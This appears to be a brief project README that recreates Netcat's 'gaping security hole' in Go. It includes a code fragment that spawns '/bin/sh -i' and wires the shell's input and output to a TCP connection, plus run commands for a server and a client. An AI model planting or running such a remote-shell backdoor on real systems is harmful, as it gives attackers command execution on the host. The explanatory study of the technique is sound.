Netcat gaping security hole

Creating the Netcat gaping security hole in Golang.

What was Netcat Gaping Security Hole?

Netcat is the TCP/IP swiss army knife, a more flexible, scriptable version of Telnet. It contains a feature that allows stdin and stdout of any arbitary program to be redirected over TCP, enabling an attacker to run any shell scripts.

Creating in Golang

With creating a Pipe, I allow stdin and stdout to redirected over TCP:

// creating the shell
cmd := exec.Command("/bin/sh", "-i")
// creating our pipeline
rp, wp := io.Pipe()

// binding stdin and stdout to user connection and pipe output
cmd.Stdin = conn
cmd.Stdout = wp

// copy the input into pipeline
go io.Copy(conn, rp)

How to run?


go run main.go


go run client/client.go


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